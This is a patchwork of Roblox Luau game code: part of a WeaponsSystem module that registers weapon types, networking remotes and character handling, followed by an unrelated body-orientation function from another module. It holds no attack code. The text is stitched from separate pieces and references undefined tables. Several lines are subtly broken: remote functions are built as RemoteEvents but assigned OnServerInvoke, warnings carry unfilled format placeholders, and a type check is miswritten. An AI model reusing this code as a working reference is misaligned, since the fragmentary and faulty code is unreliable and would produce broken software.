--CustomGripPart[0/1] = {Ancestor, InstanceName} --Supported ancestors: Tool, Character --NOTE: Don't set "CustomGripName" to "RightGrip"
--Set up WeaponTypes lookup table
do local function onNewWeaponType(weaponTypeModule) if not weaponTypeModule:IsA("ModuleScript") then return end local weaponTypeName = weaponTypeModule.Name xpcall(function() coroutine.wrap(function() local weaponType = require(weaponTypeModule) assert(typeof(weaponType) == "table", string.format("WeaponType \"%s\" did not return a valid table", weaponTypeModule:GetFullName())) WEAPON_TYPES_LOOKUP[weaponTypeName] = weaponType end)() end, function(errMsg) warn(string.format("Error while loading %s: %s", weaponTypeModule:GetFullName(), errMsg)) warn(debug.traceback()) end) end for _, child in pairs(WeaponTypes:GetChildren()) do onNewWeaponType(child) end WeaponTypes.ChildAdded:Connect(onNewWeaponType) end local WeaponsSystem = {} WeaponsSystem.didSetup = false WeaponsSystem.knownWeapons = {} WeaponsSystem.connections = {} WeaponsSystem.networkFolder = nil WeaponsSystem.remoteEvents = {} WeaponsSystem.remoteFunctions = {} WeaponsSystem.currentWeapon = nil WeaponsSystem.aimRayCallback = nil WeaponsSystem.CurrentWeaponChanged = Instance.new("BindableEvent") local NetworkingCallbacks = require(WeaponsSystemFolder:WaitForChild("NetworkingCallbacks")) NetworkingCallbacks.WeaponsSystem = WeaponsSystem local _damageCallback = nil local _getTeamCallback = nil function WeaponsSystem.setDamageCallback(cb) _damageCallback = cb end function WeaponsSystem.setGetTeamCallback(cb) _getTeamCallback = cb end function WeaponsSystem.setup() if WeaponsSystem.didSetup then warn("Warning: trying to run WeaponsSystem setup twice on the same module.") return end print(script.Parent:GetFullName(), "is now active.") WeaponsSystem.doingSetup = true --Setup network routing if IsServer then local networkFolder = Instance.new("Folder") networkFolder.Name = "Network" for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do local remoteEvent = Instance.new("RemoteEvent") remoteEvent.Name = remoteEventName remoteEvent.Parent = networkFolder local callback = NetworkingCallbacks[remoteEventName] if not callback then --Connect a no-op function to ensure the queue doesn't pile up. warn("There is no server callback implemented for the WeaponsSystem RemoteEvent \"%s\"!") warn("A default no-op function will be implemented so that the queue cannot be abused.") callback = function() end end WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnServerEvent:Connect(function(...) callback(...) end) WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent end for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do local remoteFunc = Instance.new("RemoteEvent") remoteFunc.Name = remoteFuncName remoteFunc.Parent = networkFolder local callback = NetworkingCallbacks[remoteFuncName] if not callback then --Connect a no-op function to ensure the queue doesn't pile up. warn("There is no server callback implemented for the WeaponsSystem RemoteFunction \"%s\"!") warn("A default no-op function will be implemented so that the queue cannot be abused.") callback = function() end end remoteFunc.OnServerInvoke = function(...) return callback(...) end WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc end networkFolder.Parent = WeaponsSystemFolder WeaponsSystem.networkFolder = networkFolder else WeaponsSystem.StarterGui = game:GetService("StarterGui") WeaponsSystem.camera = ShoulderCamera.new(WeaponsSystem) WeaponsSystem.gui = WeaponsGui.new(WeaponsSystem) if ConfigurationValues.SprintEnabled.Value then WeaponsSystem.camera:setSprintEnabled(ConfigurationValues.SprintEnabled.Value) end if ConfigurationValues.SlowZoomWalkEnabled.Value then WeaponsSystem.camera:setSlowZoomWalkEnabled(ConfigurationValues.SlowZoomWalkEnabled.Value) end local networkFolder = WeaponsSystemFolder:WaitForChild("Network", math.huge) for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do coroutine.wrap(function() local remoteEvent = networkFolder:WaitForChild(remoteEventName, math.huge) local callback = NetworkingCallbacks[remoteEventName] if callback then WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnClientEvent:Connect(function(...) callback(...) end) end WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent end)() end for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do coroutine.wrap(function() local remoteFunc = networkFolder:WaitForChild(remoteFuncName, math.huge) local callback = NetworkingCallbacks[remoteFuncName] if callback then remoteFunc.OnClientInvoke = function(...) return callback(...) end end WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc end)() end Players.LocalPlayer.CharacterAdded:Connect(WeaponsSystem.onCharacterAdded) if Players.LocalPlayer.Character then WeaponsSystem.onCharacterAdded(Players.LocalPlayer.Character) end WeaponsSystem.networkFolder = networkFolder -- Enable over-the-shoulder camera for internal initializations. Keep this disabled till the character holds a weapon (see BaseWeapon module script). WeaponsSystem.camera:setEnabled(true) WeaponsSystem.camera:setEnabled(false) end --Setup weapon tools and listening WeaponsSystem.connections.weaponAdded = CollectionService:GetInstanceAddedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponAdded) WeaponsSystem.connections.weaponRemoved = CollectionService:GetInstanceRemovedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponRemoved) for _, instance in pairs(CollectionService:GetTagged(WEAPON_TAG)) do WeaponsSystem.onWeaponAdded(instance) end WeaponsSystem.doingSetup = false WeaponsSystem.didSetup = true end function WeaponsSystem.onCharacterAdded(character) -- Make it so players unequip weapons while seated, then reequip weapons when they become unseated local humanoid = character:WaitForChild("Humanoid") WeaponsSystem.connections.seated = humanoid.Seated:Connect(function(isSeated) if isSeated then WeaponsSystem.seatedWeapon = character:FindFirstChildOfClass("Tool") humanoid:UnequipTools() WeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false) else WeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) humanoid:EquipTool(WeaponsSystem.seatedWeapon) end end) end function WeaponsSystem.shutdown() if not WeaponsSystem.didSetup then return end for _, weapon in pairs(WeaponsSystem.knownWeapons) do weapon:onDestroyed() end WeaponsSystem.knownWeapons = {} if IsServer and WeaponsSystem.networkFolder then WeaponsSystem.networkFolder:Destroy() end WeaponsSystem.networkFolder = nil WeaponsSystem.remoteEvents = {} WeaponsSystem.remoteFunctions = {} for _, connection in pairs(WeaponsSystem.connections) do if typeof(connection) == "RBXScriptConnection" then connection:Disconnect() end end WeaponsSystem.connections = {} end function WeaponsSystem.getWeaponTypeFromTags(instance) for _, tag in pairs(CollectionService:GetTags(instance)) do local weaponTypeFound = WEAPON_TYPES_LOOKUP[tag] if weaponTypeFound then return weaponTypeFound end end return nil end function WeaponsSystem.createWeaponForInstance(weaponInstance) coroutine.wrap(function() local weaponType = WeaponsSystem.getWeaponTypeFromTags(weaponInstance) if not weaponType then local weaponTypeObj = weaponInstance:WaitForChild("WeaponType") if weaponTypeObj and weaponTypeObj:IsA("StringValue") then local weaponTypeName = weaponTypeObj.Value local weaponTypeFound = WEAPON_TYPES_LOOKUP[weaponTypeName] if not weaponTypeFound then warn(string.format("Cannot find the weapon type \"%s\" for the instance %s!", weaponTypeName, weaponInstance:GetFullName())) return end weaponType = weaponTypeFound else warn("Could not find a WeaponType tag or StringValue for the instance ", weaponInstance:GetFullName()) return end end -- Since we might have yielded while trying to get the WeaponType, we need to make sure not to continue -- making a new weapon if something else beat this iteration. if WeaponsSystem.getWeaponForInstance(weaponInstance) then warn("Already got ", weaponInstance:GetFullName()) warn(debug.traceback()) return end -- We should be pretty sure we got a valid weaponType by now assert(weaponType, "Got invalid weaponType") local weapon = weaponType.new(WeaponsSystem, weaponInstance) WeaponsSystem.knownWeapons[weaponInstance] = weapon end)() end function WeaponsSystem.getWeaponForInstance(weaponInstance) if not typeof(weaponInstance) == "Instance" then warn("WeaponsSystem.getWeaponForInstance(weaponInstance): 'weaponInstance' was not an instance.") return nil end return WeaponsSystem.knownWeapons[weaponInstance] end
-- Changes the body orientiation to make it face a given direction. Returns the computed angles
function OrientableBody:face(direction: Vector3): Vector2? local humanoid: Humanoid? = self.character and self.character:FindFirstChild("Humanoid") if not humanoid or not humanoid.RootPart then return nil end direction = self.character.HumanoidRootPart.CFrame:PointToObjectSpace(self.character.HumanoidRootPart.Position + direction) local verticalAngle = math.asin(direction.Y) if verticalAngle < Constants.OFFSET_Y and verticalAngle > -Constants.OFFSET_Y then -- Vertical angle is within dead zone, do not change head orientation verticalAngle = 0 else if verticalAngle > 0 then verticalAngle = verticalAngle - Constants.OFFSET_Y else verticalAngle = verticalAngle + Constants.OFFSET_Y end end local horizontalAngle = math.atan2(-direction.X, -direction.Z) -- If looking behind the character, it will instead rotate towards the camera if horizontalAngle > math.pi / 2 then horizontalAngle = math.pi - horizontalAngle elseif horizontalAngle < -math.pi / 2 then horizontalAngle = -math.pi - horizontalAngle end self.motor:setGoal({ horizontalAngle = Otter.spring(horizontalAngle), verticalAngle = Otter.spring(verticalAngle), }) return Vector2.new(horizontalAngle, verticalAngle) end